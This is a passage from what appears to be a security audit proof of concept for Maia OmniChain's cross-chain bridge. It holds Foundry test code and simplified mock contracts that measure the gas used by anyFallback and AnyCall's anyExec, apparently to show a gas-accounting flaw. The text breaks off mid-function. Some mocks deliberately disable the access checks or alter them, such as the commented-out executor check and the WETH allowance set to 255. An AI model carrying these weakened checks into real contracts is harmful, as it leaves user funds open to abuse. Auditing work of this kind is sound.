/// @dev Sends `amount` (in wei) ETH to `to`.
/// Reverts upon failure.
///
/// Note: This implementation does NOT protect against gas griefing.
/// Please use `forceSafeTransferETH` for gas griefing protection.
function safeTransferETH(address to, uint256 amount) internal {
/// @solidity memory-safe-assembly
assembly {
// Transfer the ETH and check if it succeeded or not.
if iszero(call(gas(), to, amount, 0, 0, 0, 0)) {
// Store the function selector of `ETHTransferFailed()`.
mstore(0x00, 0xb12d13eb)
// Revert with (offset, size).
revert(0x1c, 0x04)
}
}
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 amount
) internal {
/// @solidity memory-safe-assembly
assembly {
let m := mload(0x40) // Cache the free memory pointer.
mstore(0x60, amount) // Store the `amount` argument.
mstore(0x40, to) // Store the `to` argument.
mstore(0x2c, shl(96, from)) // Store the `from` argument.
// Store the function selector of `transferFrom(address,address,uint256)`.
mstore(0x0c, 0x23b872dd000000000000000000000000)
if iszero(
and(
// The arguments of `and` are evaluated from right to left.
// Set success to whether the call reverted, if not we check it either
// returned exactly 1 (can't just be non-zero data), or had no return data.
or(eq(mload(0x00), 1), iszero(returndatasize())),
call(gas(), token, 0, 0x1c, 0x64, 0x00, 0x20)
)
) {
// Store the function selector of `TransferFromFailed()`.
mstore(0x00, 0x7939f424)
// Revert with (offset, size).
revert(0x1c, 0x04)
}
mstore(0x60, 0) // Restore the zero slot to zero.
mstore(0x40, m) // Restore the free memory pointer.
}
}
/// @dev Sends `amount` of ERC20 `token` from the current contract to `to`.
/// Reverts upon failure.
function safeTransfer(address token, address to, uint256 amount) internal {
/// @solidity memory-safe-assembly
assembly {
mstore(0x14, to) // Store the `to` argument.
mstore(0x34, amount) // Store the `amount` argument.
// Store the function selector of `transfer(address,uint256)`.
mstore(0x00, 0xa9059cbb000000000000000000000000)
if iszero(
and(
// The arguments of `and` are evaluated from right to left.
// Set success to whether the call reverted, if not we check it either
// returned exactly 1 (can't just be non-zero data), or had no return data.
or(eq(mload(0x00), 1), iszero(returndatasize())),
call(gas(), token, 0, 0x10, 0x44, 0x00, 0x20)
)
) {
// Store the function selector of `TransferFailed()`.
mstore(0x00, 0x90b8ec18)
// Revert with (offset, size).
revert(0x1c, 0x04)
}
// Restore the part of the free memory pointer that was overwritten.
mstore(0x34, 0)
}
}
}
/// copied from (https://github.com/vectorized/solady/blob/main/src/utils/SafeCastLib.sol)
library SafeCastLib {
error Overflow();
function toUint128(uint256 x) internal pure returns (uint128) {
if (x >= 1 << 128) _revertOverflow();
return uint128(x);
}
function toInt8(int256 x) internal pure returns (int8) {
int8 y = int8(x);
if (x != y) _revertOverflow();
return y;
}
function toInt128(int256 x) internal pure returns (int128) {
int128 y = int128(x);
if (x != y) _revertOverflow();
return y;
}
function toInt256(uint256 x) internal pure returns (int256) {
if (x >= 1 << 255) _revertOverflow();
return int256(x);
}
/*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/
/- PRIVATE HELPERS */
/*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/
function _revertOverflow() private pure {
/// @solidity memory-safe-assembly
assembly {
// Store the function selector of `Overflow()`.
mstore(0x00, 0x35278d12)
// Revert with (offset, size).
revert(0x1c, 0x04)
}
}
}
interface IAnycallExecutor {
function context()
external
view
returns (address from, uint256 fromChainID, uint256 nonce);
function execute(
address _to,
bytes calldata _data,
address _from,
uint256 _fromChainID,
uint256 _nonce,
uint256 _flags,
bytes calldata _extdata
) external returns (bool success, bytes memory result);
}
interface IAnycallConfig {
function calcSrcFees(
address _app,
uint256 _toChainID,
uint256 _dataLength
) external view returns (uint256);
function executionBudget(address _app) external view returns (uint256);
function deposit(address _account) external payable;
function withdraw(uint256 _amount) external;
}
interface IAnycallProxy {
function executor() external view returns (address);
function config() external view returns (address);
function anyCall(
address _to,
bytes calldata _data,
uint256 _toChainID,
uint256 _flags,
bytes calldata _extdata
) external payable;
function anyCall(
string calldata _to,
bytes calldata _data,
uint256 _toChainID,
uint256 _flags,
bytes calldata _extdata
) external payable;
}
contract WETH9 {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint256 wad);
event Transfer(address indexed src, address indexed dst, uint256 wad);
event Deposit(address indexed dst, uint256 wad);
event Withdrawal(address indexed src, uint256 wad);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
// function receive() external payable {
// deposit();
// }
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint256 wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
payable(msg.sender).transfer(wad);
emit Withdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint256) {
return address(this).balance;
}
function approve(address guy, uint256 wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint256 wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(
address src,
address dst,
uint256 wad
) public returns (bool) {
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != 255) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
}
contract AnycallExecutor {
struct Context {
address from;
uint256 fromChainID;
uint256 nonce;
}
// Context public override context;
Context public context;
constructor() {
context.fromChainID = 1;
context.from = address(2);
context.nonce = 1;
}
}
contract AnycallV7Config {
event Deposit(address indexed account, uint256 amount);
mapping(address => uint256) public executionBudget;
/// @notice Deposit native currency crediting `_account` for execution costs on this chain
/// @param _account The account to deposit and credit for
function deposit(address _account) external payable {
executionBudget[_account] += msg.value;
emit Deposit(_account, msg.value);
}
}
// IBranchPort interface
interface IPort {
/*///////////////////////////////////////////////////////////////
VIEW FUNCTIONS
//////////////////////////////////////////////////////////////*/
/**
* @notice Returns true if the address is a Bridge Agent.
- @param _bridgeAgent Bridge Agent address.
- @return bool.
*/
function isBridgeAgent(address _bridgeAgent) external view returns (bool);
/**
* @notice Returns true if the address is a Strategy Token.
- @param _token token address.
- @return bool.
*/
function isStrategyToken(address _token) external view returns (bool);
/**
* @notice Returns true if the address is a Port Strategy.
- @param _strategy strategy address.
- @param _token token address.
- @return bool.
*/
function isPortStrategy(
address _strategy,
address _token
) external view returns (bool);
/**
* @notice Returns true if the address is a Bridge Agent Factory.
- @param _bridgeAgentFactory Bridge Agent Factory address.
- @return bool.
*/
function isBridgeAgentFactory(
address _bridgeAgentFactory
) external view returns (bool);
/*///////////////////////////////////////////////////////////////
PORT STRATEGY MANAGEMENT
//////////////////////////////////////////////////////////////*/
/**
* @notice Allows active Port Strategy addresses to withdraw assets.
- @param _token token address.
- @param _amount amount of tokens.
*/
function manage(address _token, uint256 _amount) external;
/**
* @notice allow approved address to repay borrowed reserves with reserves
- @param _amount uint
- @param _token address
*/
function replenishReserves(
address _strategy,
address _token,
uint256 _amount
) external;
/*///////////////////////////////////////////////////////////////
hTOKEN MANAGEMENT
//////////////////////////////////////////////////////////////*/
/**
* @notice Function to withdraw underlying / native token amount into Port in exchange for Local hToken.
- @param _recipient hToken receiver.
- @param _underlyingAddress underlying / native token address.
- @param _amount amount of tokens.
*
*/
function withdraw(
address _recipient,
address _underlyingAddress,
uint256 _amount
) external;
/**
* @notice Setter function to increase local hToken supply.
- @param _recipient hToken receiver.
- @param _localAddress token address.
- @param _amount amount of tokens.
*
*/
function bridgeIn(
address _recipient,
address _localAddress,
uint256 _amount
) external;
/**
* @notice Setter function to increase local hToken supply.
- @param _recipient hToken receiver.
- @param _localAddresses token addresses.
- @param _amounts amount of tokens.
*
*/
function bridgeInMultiple(
address _recipient,
address[] memory _localAddresses,
uint256[] memory _amounts
) external;
/**
* @notice Setter function to decrease local hToken supply.
- @param _localAddress token address.
- @param _amount amount of tokens.
*
*/
function bridgeOut(
address _depositor,
address _localAddress,
address _underlyingAddress,
uint256 _amount,
uint256 _deposit
) external;
/**
* @notice Setter function to decrease local hToken supply.
- @param _depositor user to deduct balance from.
- @param _localAddresses local token addresses.
- @param _underlyingAddresses local token address.
- @param _amounts amount of local tokens.
- @param _deposits amount of underlying tokens.
*
*/
function bridgeOutMultiple(
address _depositor,
address[] memory _localAddresses,
address[] memory _underlyingAddresses,
uint256[] memory _amounts,
uint256[] memory _deposits
) external;
/*///////////////////////////////////////////////////////////////
ADMIN FUNCTIONS
//////////////////////////////////////////////////////////////*/
/**
* @notice Adds a new bridge agent address to the branch port.
- @param _bridgeAgent address of the bridge agent to add to the Port
*/
function addBridgeAgent(address _bridgeAgent) external;
/**
* @notice Sets the core router address for the branch port.
- @param _newCoreRouter address of the new core router
*/
function setCoreRouter(address _newCoreRouter) external;
/**
* @notice Adds a new bridge agent factory address to the branch port.
- @param _bridgeAgentFactory address of the bridge agent factory to add to the Port
*/
function addBridgeAgentFactory(address _bridgeAgentFactory) external;
/**
* @notice Reverts the toggle on the given bridge agent factory. If it's active, it will de-activate it and vice-versa.
- @param _newBridgeAgentFactory address of the bridge agent factory to add to the Port
*/
function toggleBridgeAgentFactory(address _newBridgeAgentFactory) external;
/**
* @notice Reverts thfe toggle on the given bridge agent If it's active, it will de-activate it and vice-versa.
- @param _bridgeAgent address of the bridge agent to add to the Port
*/
function toggleBridgeAgent(address _bridgeAgent) external;
/**
* @notice Adds a new strategy token.
* @param _token address of the token to add to the Strategy Tokens
*/
function addStrategyToken(
address _token,
uint256 _minimumReservesRatio
) external;
/**
* @notice Reverts the toggle on the given strategy token. If it's active, it will de-activate it and vice-versa.
* @param _token address of the token to add to the Strategy Tokens
*/
function toggleStrategyToken(address _token) external;
/**
* @notice Adds a new Port strategy to the given port
* @param _portStrategy address of the bridge agent factory to add to the Port
*/
function addPortStrategy(
address _portStrategy,
address _token,
uint256 _dailyManagementLimit
) external;
/**
* @notice Reverts the toggle on the given port strategy. If it's active, it will de-activate it and vice-versa.
* @param _portStrategy address of the bridge agent factory to add to the Port
*/
function togglePortStrategy(address _portStrategy, address _token) external;
/**
* @notice Updates the daily management limit for the given port strategy.
* @param _portStrategy address of the bridge agent factory to add to the Port
* @param _token address of the token to update the limit for
* @param _dailyManagementLimit new daily management limit
*/
function updatePortStrategy(
address _portStrategy,
address _token,
uint256 _dailyManagementLimit
) external;
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event DebtCreated(
address indexed _strategy,
address indexed _token,
uint256 _amount
);
event DebtRepaid(
address indexed _strategy,
address indexed _token,
uint256 _amount
);
event StrategyTokenAdded(
address indexed _token,
uint256 _minimumReservesRatio
);
event StrategyTokenToggled(address indexed _token);
event PortStrategyAdded(
address indexed _portStrategy,
address indexed _token,
uint256 _dailyManagementLimit
);
event PortStrategyToggled(
address indexed _portStrategy,
address indexed _token
);
event PortStrategyUpdated(
address indexed _portStrategy,
address indexed _token,
uint256 _dailyManagementLimit
);
event BridgeAgentFactoryAdded(address indexed _bridgeAgentFactory);
event BridgeAgentFactoryToggled(address indexed _bridgeAgentFactory);
event BridgeAgentToggled(address indexed _bridgeAgent);
/*///////////////////////////////////////////////////////////////
ERRORS
//////////////////////////////////////////////////////////////*/
error InvalidMinimumReservesRatio();
error InsufficientReserves();
error UnrecognizedCore();
error UnrecognizedBridgeAgent();
error UnrecognizedBridgeAgentFactory();
error UnrecognizedPortStrategy();
error UnrecognizedStrategyToken();
}
contract BranchPort {
using SafeTransferLib for address;
error UnrecognizedBridgeAgent();
/// @notice Mapping from Underlying Address to isUnderlying (bool).
mapping(address => bool) public isBridgeAgent;
constructor(address bridgeAgent) {
isBridgeAgent[bridgeAgent] = true;
}
/// @notice Modifier that verifies msg sender is an active Bridge Agent.
modifier requiresBridgeAgent() {
if (!isBridgeAgent[msg.sender]) revert UnrecognizedBridgeAgent();
_;
}
function withdraw(
address _recipient,
address _underlyingAddress,
uint256 _deposit
) external virtual requiresBridgeAgent {
_underlyingAddress.safeTransfer(
_recipient,
_denormalizeDecimals(_deposit, ERC20(_underlyingAddress).decimals())
);
}
function _denormalizeDecimals(
uint256 _amount,
uint8 _decimals
) internal pure returns (uint256) {
return
_decimals == 18 ? _amount : (_amount * 1 ether) / (10 ** _decimals);
}
}
contract BranchBridgeAgent {
using SafeCastLib for uint256;
enum DepositStatus {
Success,
Failed
}
struct Deposit {
uint128 depositedGas;
address owner;
DepositStatus status;
address[] hTokens;
address[] tokens;
uint256[] amounts;
uint256[] deposits;
}
error AnycallUnauthorizedCaller();
error GasErrorOrRepeatedTx();
uint256 public remoteCallDepositedGas;
uint256 internal constant MIN_FALLBACK_RESERVE = 185_000; // 100_000 for anycall + 85_000 fallback execution overhead
// uint256 internal constant MIN_EXECUTION_OVERHEAD = 160_000; // 100_000 for anycall + 35_000 Pre 1st Gas Checkpoint Execution + 25_000 Post last Gas Checkpoint Executions
uint256 internal constant TRANSFER_OVERHEAD = 24_000;
WETH9 public immutable wrappedNativeToken;
AnycallV7Config public anycallV7Config;
uint256 public accumulatedFees;
/// @notice Local Chain Id
uint24 public immutable localChainId;
/// @notice Address for Bridge Agent who processes requests submitted for the Root Router Address where cross-chain requests are executed in the Root Chain.
address public immutable rootBridgeAgentAddress;
/// @notice Local Anyexec Address
address public immutable local`AnyCall`ExecutorAddress;
/// @notice Address for Local AnycallV7 Proxy Address where cross-chain requests are sent to the Root Chain Router.
address public immutable local`AnyCall`Address;
/// @notice Address for Local Port Address where funds deposited from this chain are kept, managed and supplied to different Port Strategies.
address public immutable localPortAddress;
/// @notice Deposit nonce used for identifying transaction.
uint32 public depositNonce;
/// @notice Mapping from Pending deposits hash to Deposit Struct.
mapping(uint32 => Deposit) public getDeposit;
constructor() {
AnycallExecutor anycallExecutor = new AnycallExecutor();
local`AnyCall`ExecutorAddress = address(anycallExecutor);
localChainId = 1;
wrappedNativeToken = new WETH9();
local`AnyCall`Address = address(3);
rootBridgeAgentAddress = address(2);
anycallV7Config = new AnycallV7Config();
localPortAddress = address(new BranchPort(address(this)));
getDeposit[1].depositedGas = 1 ether; // just for testing below
}
modifier requiresExecutor() {
_requiresExecutor();
_;
}
function _requiresExecutor() internal view {
if (msg.sender != local`AnyCall`ExecutorAddress)
revert AnycallUnauthorizedCaller();
(address from, , ) = IAnycallExecutor(local`AnyCall`ExecutorAddress)
.context();
if (from != rootBridgeAgentAddress) revert AnycallUnauthorizedCaller();
}
function _replenishGas(uint256 _executionGasSpent) internal virtual {
//Deposit Gas
anycallV7Config.deposit{value: _executionGasSpent}(address(this));
// IAnycallConfig(IAnycallProxy(local`AnyCall`Address).config()).deposit{value: _executionGasSpent}(address(this));
}
function _forceRevert() internal virtual {
IAnycallConfig anycallConfig = IAnycallConfig(
IAnycallProxy(local`AnyCall`Address).config()
);
uint256 executionBudget = anycallConfig.executionBudget(address(this));
// Withdraw all execution gas budget from anycall for tx to revert with "no enough budget"
if (executionBudget > 0)
try anycallConfig.withdraw(executionBudget) {} catch {}
}
/**
* @notice Internal function repays gas used by Branch Bridge Agent to fulfill remote initiated interaction.
- @param _depositNonce Identifier for user deposit attatched to interaction being fallback.
- @param _initialGas gas used by Branch Bridge Agent.
*/
function _payFallbackGas(
uint32 _depositNonce,
uint256 _initialGas
) internal virtual {
//Save gas
uint256 gasLeft = gasleft();
//Get Branch Environment Execution Cost
// 1e9 for tx.gasPrice since it is zero in Foundry
uint256 minExecCost = 1e9 *
(MIN_FALLBACK_RESERVE + _initialGas - gasLeft);
//Check if sufficient balance
if (minExecCost > getDeposit[_depositNonce].depositedGas) {
// getDeposit[1].depositedGas => 1 ether . set in the constructer above
_forceRevert();
return;
}
//Update user deposit reverts if not enough gas => user must boost deposit with gas
getDeposit[_depositNonce].depositedGas -= minExecCost.toUint128();
//Withdraw Gas
IPort(localPortAddress).withdraw(
address(this),
address(wrappedNativeToken),
minExecCost
);
//Unwrap Gas
wrappedNativeToken.withdraw(minExecCost);
//Replenish Gas
_replenishGas(minExecCost);
}
function anyFallback(
bytes calldata data
)
external
virtual
requiresExecutor
returns (bool success, bytes memory result)
{
//Get Initial Gas Checkpoint
uint256 initialGas = gasleft();
/*
*
* Other code here
*
*/
// we assume that the flag was 0x01 for simplicity and since it is also irrelevant anyway
// passing deposit nonce as 1 since it is also irrelevant
//Deduct gas costs from deposit and replenish this bridge agent's execution budget.
_payFallbackGas(1, initialGas);
return (true, "");
}
function depositIntoWeth(uint256 amt) external {
wrappedNativeToken.deposit{value: amt * 2}();
// transfer half to the port
wrappedNativeToken.transfer(localPortAddress, amt);
}
fallback() external payable {}
}
contract BranchBridgeAgentEmpty {
using SafeCastLib for uint256;
enum DepositStatus {
Success,
Failed
}
struct Deposit {
uint128 depositedGas;
address owner;
DepositStatus status;
address[] hTokens;
address[] tokens;
uint256[] amounts;
uint256[] deposits;
}
error AnycallUnauthorizedCaller();
error GasErrorOrRepeatedTx();
uint256 public remoteCallDepositedGas;
uint256 internal constant MIN_FALLBACK_RESERVE = 185_000; // 100_000 for anycall + 85_000 fallback execution overhead
WETH9 public immutable wrappedNativeToken;
AnycallV7Config public anycallV7Config;
uint256 public accumulatedFees;
/// @notice Local Chain Id
uint24 public immutable localChainId;
/// @notice Address for Bridge Agent who processes requests submitted for the Root Router Address where cross-chain requests are executed in the Root Chain.
address public immutable rootBridgeAgentAddress;
/// @notice Local Anyexec Address
address public immutable local`AnyCall`ExecutorAddress;
/// @notice Address for Local AnycallV7 Proxy Address where cross-chain requests are sent to the Root Chain Router.
address public immutable local`AnyCall`Address;
/// @notice Address for Local Port Address where funds deposited from this chain are kept, managed and supplied to different Port Strategies.
address public immutable localPortAddress;
/// @notice Deposit nonce used for identifying transaction.
uint32 public depositNonce;
/// @notice Mapping from Pending deposits hash to Deposit Struct.
mapping(uint32 => Deposit) public getDeposit;
constructor() {
AnycallExecutor anycallExecutor = new AnycallExecutor();
local`AnyCall`ExecutorAddress = address(anycallExecutor);
localChainId = 1;
wrappedNativeToken = new WETH9();
local`AnyCall`Address = address(3);
rootBridgeAgentAddress = address(2);
anycallV7Config = new AnycallV7Config();
localPortAddress = address(new BranchPort(address(this)));
getDeposit[1].depositedGas = 1 ether; // just for testing below
}
modifier requiresExecutor() {
_requiresExecutor();
_;
}
function _requiresExecutor() internal view {
if (msg.sender != local`AnyCall`ExecutorAddress)
revert AnycallUnauthorizedCaller();
(address from, , ) = IAnycallExecutor(local`AnyCall`ExecutorAddress)
.context();
if (from != rootBridgeAgentAddress) revert AnycallUnauthorizedCaller();
}
function _replenishGas(uint256 _executionGasSpent) internal virtual {
//Deposit Gas
anycallV7Config.deposit{value: _executionGasSpent}(address(this));
// IAnycallConfig(IAnycallProxy(local`AnyCall`Address).config()).deposit{value: _executionGasSpent}(address(this));
}
function _forceRevert() internal virtual {
IAnycallConfig anycallConfig = IAnycallConfig(
IAnycallProxy(local`AnyCall`Address).config()
);
uint256 executionBudget = anycallConfig.executionBudget(address(this));
// Withdraw all execution gas budget from anycall for tx to revert with "no enough budget"
if (executionBudget > 0)
try anycallConfig.withdraw(executionBudget) {} catch {}
}
/**
* @notice Internal function repays gas used by Branch Bridge Agent to fulfill remote initiated interaction.
- @param _depositNonce Identifier for user deposit attatched to interaction being fallback.
- @param _initialGas gas used by Branch Bridge Agent.
*/
function _payFallbackGas(
uint32 _depositNonce,
uint256 _initialGas
) internal virtual {
//Save gas
uint256 gasLeft = gasleft();
// comment out all the lines after end gas checkpoint for gas calc purpose
// //Get Branch Environment Execution Cost
// // 1e9 for tx.gasPrice since it is zero in Foundry
// uint256 minExecCost = 1e9 * (MIN_FALLBACK_RESERVE + _initialGas - gasLeft);
// //Check if sufficient balance
// if (minExecCost > getDeposit[_depositNonce].depositedGas) { // getDeposit[1].depositedGas => 1 ether . set in the constructer above
// _forceRevert();
// return;
// }
// //Update user deposit reverts if not enough gas => user must boost deposit with gas
// getDeposit[_depositNonce].depositedGas -= minExecCost.toUint128();
// //Withdraw Gas
// IPort(localPortAddress).withdraw(address(this), address(wrappedNativeToken), minExecCost);
// //Unwrap Gas
// wrappedNativeToken.withdraw(minExecCost);
// //Replenish Gas
// _replenishGas(minExecCost);
}
function anyFallback(
bytes calldata data
)
external
virtual
returns (
// requiresExecutor comment out this for gas calc purpose
bool success,
bytes memory result
)
{
//Get Initial Gas Checkpoint
uint256 initialGas = gasleft();
/*
*
* Other code here
*
*/
// we assume that the flag was 0x01 for simplicity and since it is also irrelevant anyway
// passing deposit nonce as 1 since it is also irrelevant
//Deduct gas costs from deposit and replenish this bridge agent's execution budget.
_payFallbackGas(1, initialGas);
// return (true, ""); // comment out this also for gas calc purpose
}
function depositIntoWeth(uint256 amt) external {
wrappedNativeToken.deposit{value: amt * 2}();
// transfer half to the port
wrappedNativeToken.transfer(localPortAddress, amt);
}
fallback() external payable {}
}
contract GasCalc is DSTest, Test {
BranchBridgeAgent branchBridgeAgent;
BranchBridgeAgentEmpty branchBridgeAgentEmpty;
function setUp() public {
branchBridgeAgentEmpty = new BranchBridgeAgentEmpty();
vm.deal(
address(branchBridgeAgentEmpty.local`AnyCall`ExecutorAddress()),
100 ether
); // executer pays gas
vm.deal(address(branchBridgeAgentEmpty), 200 ether);
branchBridgeAgent = new BranchBridgeAgent();
vm.deal(
address(branchBridgeAgent.local`AnyCall`ExecutorAddress()),
100 ether
); // executer pays gas
vm.deal(address(branchBridgeAgent), 200 ether);
}
// code after end checkpoint gasLeft not included
function test_calcgasEmpty() public {
// add weth balance to the agent and the port // 100 WETH for each
branchBridgeAgentEmpty.depositIntoWeth(100 ether);
vm.prank(address(branchBridgeAgentEmpty.local`AnyCall`ExecutorAddress()));
uint256 gasStart = gasleft();
branchBridgeAgentEmpty.anyFallback(bytes(""));
uint256 gasEnd = gasleft();
vm.stopPrank();
uint256 gasSpent = gasStart - gasEnd;
console.log(
"branchBridgeAgentEmpty.anyFallback Gas Spent => %d",
gasSpent
);
}
// code after end checkpoint gasLeft included
function test_calcgas() public {
// add weth balance to the agent and the port // 100 WETH for each
branchBridgeAgent.depositIntoWeth(100 ether);
vm.prank(address(branchBridgeAgent.local`AnyCall`ExecutorAddress()));
uint256 gasStart = gasleft();
branchBridgeAgent.anyFallback(bytes(""));
uint256 gasEnd = gasleft();
vm.stopPrank();
uint256 gasSpent = gasStart - gasEnd;
console.log("branchBridgeAgent.anyFallback Gas Spent => %d", gasSpent);
}
}
Proof of Concept #2 (The gas consumed by anyExec
method in AnyCall
)
Overview
We have contracts that simulate the Anycall
contracts:
AnycallV7Config
AnycallExecutor
AnycallV7
The flow looks like this:
MPC =>
AnycallV7
=>
AnycallExecutor
=>
IApp
In the code, IApp(_to).anyFallback
is commented out because we don’t want to calculate its gas, since it is done in PoC #1. We also set isFallback
to true, but the increased gas for this is negligible anyway.
Here is the output of the test:
[PASS] test_gasInanycallv7() (gas: 102640)
Logs:
anycallV7.anyExec Gas Spent => 110920
Test result: ok. 1 passed; 0 failed; finished in 1.58ms
Coded PoC
// PoC => Maia OmniChain: gasCalculation for anyFallback in `AnyCall` v7 contracts
pragma solidity >=0.8.4 <0.9.0;
import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";
import {DSTest} from "ds-test/test.sol";
/// IAnycallConfig interface of the anycall config
interface IAnycallConfig {
function checkCall(
address _sender,
bytes calldata _data,
uint256 _toChainID,
uint256 _flags
) external view returns (string memory _appID, uint256 _srcFees);
function checkExec(
string calldata _appID,
address _from,
address _to
) external view;
function chargeFeeOnDestChain(address _from, uint256 _prevGasLeft) external;
}
/// IAnycallExecutor interface of the anycall executor
interface IAnycallExecutor {
function context()
external
view
returns (address from, uint256 fromChainID, uint256 nonce);
function execute(
address _to,
bytes calldata _data,
address _from,
uint256 _fromChainID,
uint256 _nonce,
uint256 _flags,
bytes calldata _extdata
) external returns (bool success, bytes memory result);
}
/// IApp interface of the application
interface IApp {
/// (required) call on the destination chain to exec the interaction
function anyExecute(bytes calldata _data)
external
returns (bool success, bytes memory result);
/// (optional,advised) call back on the originating chain if the cross chain interaction fails
/// `_data` is the orignal interaction arguments exec on the destination chain
function anyFallback(bytes calldata _data)
external
returns (bool success, bytes memory result);
}
library AnycallFlags {
// call flags which can be specified by user
uint256 public constant FLAG_NONE = 0x0;
uint256 public constant FLAG_MERGE_CONFIG_FLAGS = 0x1;
uint256 public constant FLAG_PAY_FEE_ON_DEST = 0x1 << 1;
uint256 public constant FLAG_ALLOW_FALLBACK = 0x1 << 2;
// exec flags used internally
uint256 public constant FLAG_EXEC_START_VALUE = 0x1 << 16;
uint256 public constant FLAG_EXEC_FALLBACK = 0x1 << 16;
}
contract AnycallV7Config {
uint256 public constant PERMISSIONLESS_MODE = 0x1;
uint256 public constant FREE_MODE = 0x1 << 1;
mapping(string => mapping(address => bool)) public appExecWhitelist;
mapping(string => bool) public appBlacklist;
uint256 public mode;
uint256 public minReserveBudget;
mapping(address => uint256) public executionBudget;
constructor() {
mode = PERMISSIONLESS_MODE;
}
function checkExec(
string calldata _appID,
address _from,
address _to
) external view {
require(!appBlacklist[_appID], "blacklist");
if (!_isSet(mode, PERMISSIONLESS_MODE)) {
require(appExecWhitelist[_appID][_to], "no permission");
}
if (!_isSet(mode, FREE_MODE)) {
require(
executionBudget[_from] >= minReserveBudget,
"less than min budget"
);
}
}
function _isSet(
uint256 _value,
uint256 _testBits
) internal pure returns (bool) {
return (_value & _testBits) == _testBits;
}
}
contract AnycallExecutor {
bytes32 public constant PAUSE_ALL_ROLE = 0x00;
event Paused(bytes32 role);
event Unpaused(bytes32 role);
modifier whenNotPaused(bytes32 role) {
require(
!paused(role) && !paused(PAUSE_ALL_ROLE),
"PausableControl: paused"
);
_;
}
mapping(bytes32 => bool) private _pausedRoles;
mapping(address => bool) public isSupportedCaller;
struct Context {
address from;
uint256 fromChainID;
uint256 nonce;
}
// Context public override context;
Context public context;
function paused(bytes32 role) public view virtual returns (bool) {
return _pausedRoles[role];
}
modifier onlyAuth() {
require(isSupportedCaller[msg.sender], "not supported caller");
_;
}
constructor(address anycall) {
context.fromChainID = 1;
context.from = address(2);
context.nonce = 1;
isSupportedCaller[anycall] = true;
}
function _isSet(uint256 _value, uint256 _testBits)
internal
pure
returns (bool)
{
return (_value & _testBits) == _testBits;
}
// @dev `_extdata` content is implementation based in each version
function execute(
address _to,
bytes calldata _data,
address _from,
uint256 _fromChainID,
uint256 _nonce,
uint256 _flags,
bytes calldata /*_extdata*/
)
external
virtual
onlyAuth
whenNotPaused(PAUSE_ALL_ROLE)
returns (bool success, bytes memory result)
{
bool isFallback = _isSet(_flags, AnycallFlags.FLAG_EXEC_FALLBACK) || true; // let it fallback
context = Context({
from: _from,
fromChainID: _fromChainID,
nonce: _nonce
});
if (!isFallback) {
// we skip calling anyExecute since it is irrelevant for this PoC
(success, result) = IApp(_to).anyExecute(_data);
} else {
// we skip calling anyExecute since it is irrelevant for this PoC
// (success, result) = IApp(_to).anyFallback(_data);
}
context = Context({from: address(0), fromChainID: 0, nonce: 0});
}
}
contract AnycallV7 {
event Log`AnyCall`(
address indexed from,
address to,
bytes data,
uint256 toChainID,
uint256 flags,
string appID,
uint256 nonce,
bytes extdata
);
event Log`AnyCall`(
address indexed from,
string to,
bytes data,
uint256 toChainID,
uint256 flags,
string appID,
uint256 nonce,
bytes extdata
);
event LogAnyExec(
bytes32 indexed txhash,
address indexed from,
address indexed to,
uint256 fromChainID,
uint256 nonce,
bool success,
bytes result
);
event StoreRetryExecRecord(
bytes32 indexed txhash,
address indexed from,
address indexed to,
uint256 fromChainID,
uint256 nonce,
bytes data
);
// Context of the request on originating chain
struct RequestContext {
bytes32 txhash;
address from;
uint256 fromChainID;
uint256 nonce;
uint256 flags;
}
address public mpc;
bool public paused;
// applications should give permission to this executor
address public executor;
// anycall config contract
address public config;
mapping(bytes32 => bytes32) public retryExecRecords;
bool public retryWithPermit;
mapping(bytes32 => bool) public execCompleted;
uint256 nonce;
uint256 private unlocked;
modifier lock() {
require(unlocked == 1, "locked");
unlocked = 0;
_;
unlocked = 1;
}
/// @dev Access control function
modifier onlyMPC() {
require(msg.sender == mpc, "only MPC");
_;
}
/// @dev pausable control function
modifier whenNotPaused() {
require(!paused, "paused");
_;
}
function _isSet(uint256 _value, uint256 _testBits)
internal
pure
returns (bool)
{
return (_value & _testBits) == _testBits;
}
/// @dev Charge an account for execution costs on this chain
/// @param _from The account to charge for execution costs
modifier chargeDestFee(address _from, uint256 _flags) {
if (_isSet(_flags, AnycallFlags.FLAG_PAY_FEE_ON_DEST)) {
uint256 _prevGasLeft = gasleft();
_;
IAnycallConfig(config).chargeFeeOnDestChain(_from, _prevGasLeft);
} else {
_;
}
}
constructor(address _mpc) {
unlocked = 1; // needs to be unlocked initially
mpc = _mpc;
config = address(new AnycallV7Config());
executor = address(new AnycallExecutor(address(this)));
}
/// @notice Calc unique ID
function calcUniqID(
bytes32 _txhash,
address _from,
uint256 _fromChainID,
uint256 _nonce
) public pure returns (bytes32) {
return keccak256(abi.encode(_txhash, _from, _fromChainID, _nonce));
}
function _execute(
address _to,
bytes memory _data,
RequestContext memory _ctx,
bytes memory _extdata
) internal returns (bool success) {
bytes memory result;
try
IAnycallExecutor(executor).execute(
_to,
_data,
_ctx.from,
_ctx.fromChainID,
_ctx.nonce,
_ctx.flags,
_extdata
)
returns (bool succ, bytes memory res) {
(success, result) = (succ, res);
} catch Error(string memory reason) {
result = bytes(reason);
} catch (bytes memory reason) {
result = reason;
}
emit LogAnyExec(
_ctx.txhash,
_ctx.from,
_to,
_ctx.fromChainID,
_ctx.nonce,
success,
result
);
